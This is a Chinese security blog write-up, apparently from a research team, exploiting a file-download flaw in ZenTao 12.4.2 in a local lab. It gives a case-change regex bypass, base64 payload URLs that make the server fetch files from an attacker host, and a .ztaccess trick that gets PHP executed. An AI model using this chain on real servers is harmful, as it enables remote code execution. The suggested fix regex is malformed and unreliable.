0x01:背景
近期,结合实际工作需要,对禅道项目管理系统进行了一些分析和研究,通过分析存在漏洞的代码,经过分析与实践,我们发现了一种在我们认知中相对更快捷利用相关漏洞的绕过姿势。借此机会与大家分享分享。如有雷同,算我的锅,在这给您先赔个不是哈。
0x02:环境构建
禅道项目管理系统V12.4.2版本:https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html
如果需要在Windows系统上构建,直接下载安装包安装即可:https://www.zentao.net/dl/ZenTaoPMS.12.4.2.win64.exe
一顿解压后,启动那个exe,真的打开了,好神奇!
直接访问,OK了,默认账户(admin,口令:123456),不知道默认口令的师傅,拿走不谢!进去了会强制改密码哈,干就完了!
0x03:一点点禅道背景知识的讲解!(主要是讲给小白我自己的!)
之前在看大佬们的漏洞讲解时,我有个小疑问,client-download-1-(base64 encode webshell download link)-1.html
,这个玩意怎么来的,后来经过一段时间的憋气后,我才发现其原理,您且听我随便讲讲:
在 module/client/control.php
中定义了一个继承了 control
的类 client
,其中实现了诸如 index
,browse
, create
这样的无参方法,也实现了 download
, edit
, changelog
, delete
这样的有参方法。
不愿意看了对吗,我们直接看样例1:调用无参方法!
对应的 module/client/control.php
代码为:
public function browse()
{
$this->view->title = $this->lang->client->update;
$this->view->clients = $this->client->getList();
$this->display();
}
我们给他加一个 echo
输出调试下,修改代码为:
public function browse()
{
echo "Cool boy";
$this->view->title = $this->lang->client->update;
$this->view->clients = $this->client->getList();
$this->display();
}
访问相关页面:
这说明禅道系统使用 -
作为分隔符,client
为对应的类, -
分割, browse
为被调用的方法。
再看一个样例2:调用有参方法!
public function download($version = '', $link = '', $os = '')
{
set_time_limit(0);
$result = $this->client->downloadZipPackage($version, $link);
if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
$client = $this->client->edit($version, $result, $os);
if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
$this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));
}
有参调用:三个参数,全是 1
不传参调用有参函数:
不管你会没会,反正我是会了。。。。时间有限,不研究底层逻辑。既然知道了套路,就可以去套路别人了。
另外,禅道为了提高安全性,默认禁用了 php
解析,可参考链接:https://www.zentao.net/book/zentaopmshelp/406.html,经过我们的测试,推测其采用的是通过一些策略,强制使php为扩展的文件不解析。
0x04:禅道相关有漏洞的代码审计
可能有些大佬早就定位到相关漏洞了哈,我就是看了大佬的分析后,如醍醐灌顶般,瞬间悟透,这里就是按照大佬的方法再过一遍定位到漏洞的过程,不乐意看的师傅,跳过跳过跳过!!!!
1.存在问题的代码位置1:module/client/control.php:86
public function download($version = '', $link = '', $os = '')
{
set_time_limit(0);
$result = $this->client->downloadZipPackage($version, $link);
if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
$client = $this->client->edit($version, $result, $os);
if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
$this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));
}
关注 downloadZipPackage
这一函数。
2.存在问题的代码位置2:module/client/ext/model/xuanxuan.php:10
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(preg_match('/^https?:///', $decodeLink)) return false;
return parent::downloadZipPackage($version, $link);
}
使用base64解码后,请注意关键代码:preg_match('/^https?:///', $decodeLink)
,显然这类正则匹配存在一定的问题:如果正则匹配到 http(s):// 则返回false,既然如此,我们可以利用 ftp
绕过。
3.上传文件存储关键代码:module/client/model.php:240
public function downloadZipPackage($version, $link)
{
ignore_user_abort(true);
set_time_limit(0);
if(empty($version) || empty($link)) return false;
$dir = "data/client/" . $version . '/'; //关键代码
$link = helper::safe64Decode($link); //base64解码
$file = basename($link);
if(!is_dir($this->app->wwwRoot . $dir))
{
mkdir($this->app->wwwRoot . $dir, 0755, true);
}
if(!is_dir($this->app->wwwRoot . $dir)) return false;
if(file_exists($this->app->wwwRoot . $dir . $file))
{
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
ob_clean();
ob_end_flush();
$local = fopen($this->app->wwwRoot . $dir . $file, 'w');
$remote = fopen($link, 'rb');
if($remote === false) return false;
while(!feof($remote))
{
$buffer = fread($remote, 4096);
fwrite($local, $buffer);
}
fclose($local);
fclose($remote);
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
上述代码使用base64解码 $link
参数后将下载文件至 data/client/ 拼接 $version
参数的目录,读取 $link
指向的文件,并写入 $local
指向的文件中。显然,没啥过滤,没啥扰乱,看起来只要能绕过http(s):// 匹配,你想咋搞咋搞。
0x05:失败的干就完了(PHP不解析)
随便在自有的tomcat服务器上,传个 1.php
吧(毕竟禅道是按字符读取后目标文件,并写入到其服务器一个文件,为避免动态页面被解析为静态页面的问题,出此下策),内容为:
phpinfo();
以本地测试环境为例,其资源索引地址为:http://127.0.0.1:8080/1.php
base64(http://127.0.0.1:8080/1.php) -> aHR0cDovLzEyNy4wLjAuMTo4MDgwLzEucGhw,干!肯定失败!
换个思路,绕过 http
或 https
,用 htTp
试试?
base64(htTp://127.0.0.1:8080/1.php) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLzEucGhw,干!保存成功!
访问 http://127.0.0.1:81/zentao/data/client/1/1.php
,没东西,经过检查,代码上传确实出现在服务端后台了,说明没有解析:
我们得想办法让他解析,这时候,知识点又来了:想访问禅道二级目录,得改他的.ztaccess文件,既然环境在这里,我们再构建一个.ztaccess文件,让服务器下载吧,文件内容如下所示:
<FilesMatch "1.php">
SetHandler application/x-httpd-php
</FilesMatch>
文件资源索引地址:htTp://127.0.0.1:8080/.ztaccess -> base64编码处理 -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw==
触发服务器下载逻辑:
再次访问:http://127.0.0.1:81/zentao/data/client/1/1.php,还是不解析,不上图了,贼伤心。
0x06:成功的干就完了(扩展绕过及解析)
老方法,Tomcat搞一搞,资源索引地址换成 http://127.0.0.1:8080/1.php0
,反正我打我自己。
http://127.0.0.1:8080/1.php0
-> base64(htTp://127.0.0.1:8080/1.php0)
-> aHRUcDovLzEyNy4wLjAuMTo4MDgwLzEucGhwMA==
保存成功,访问还是不解析哈:
根据禅道的要求,显然我们还要传一个 .ztacess
到服务器上去:
<FilesMatch "1.php0">
SetHandler application/x-httpd-php
</FilesMatch>
base64(htTp://127.0.0.1:8080/.ztaccess) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw==
再次访问成功解析,访问成功:
0x07:反思
既然已经绕过了相关的漏洞,按照国际惯例,也应该提出点自己的安全建议,不如从正则匹配入手搞一搞。
绕过一:大小写绕过防护
关键代码如下所示,注意,添加了一个 i
(忽略大小写选项):
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(preg_match('/^https?:///i', $decodeLink)) return false;
return parent::downloadZipPackage($version, $link);
}
使用base64(htTp://127.0.0.1:8080/.ztaccess) -> aHRUcDovLzEyNy4wLjAuMTo4MDgwLy56dGFjY2Vzcw== 这一载荷尝试下载相关资源确实失败了。
绕过二:其他协议绕过防护
有大佬试过 FTP
协议绕过,真的很香。针对这种换协议绕过检查的方法,可以优化下正则表达式:
if(preg_match('^(https?|ftp|file)://i', $decodeLink)) return false;
喜欢就请关注我们吧!
本文始发于微信公众号(Pai Sec Team):看我们如何换个姿势把玩禅道
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论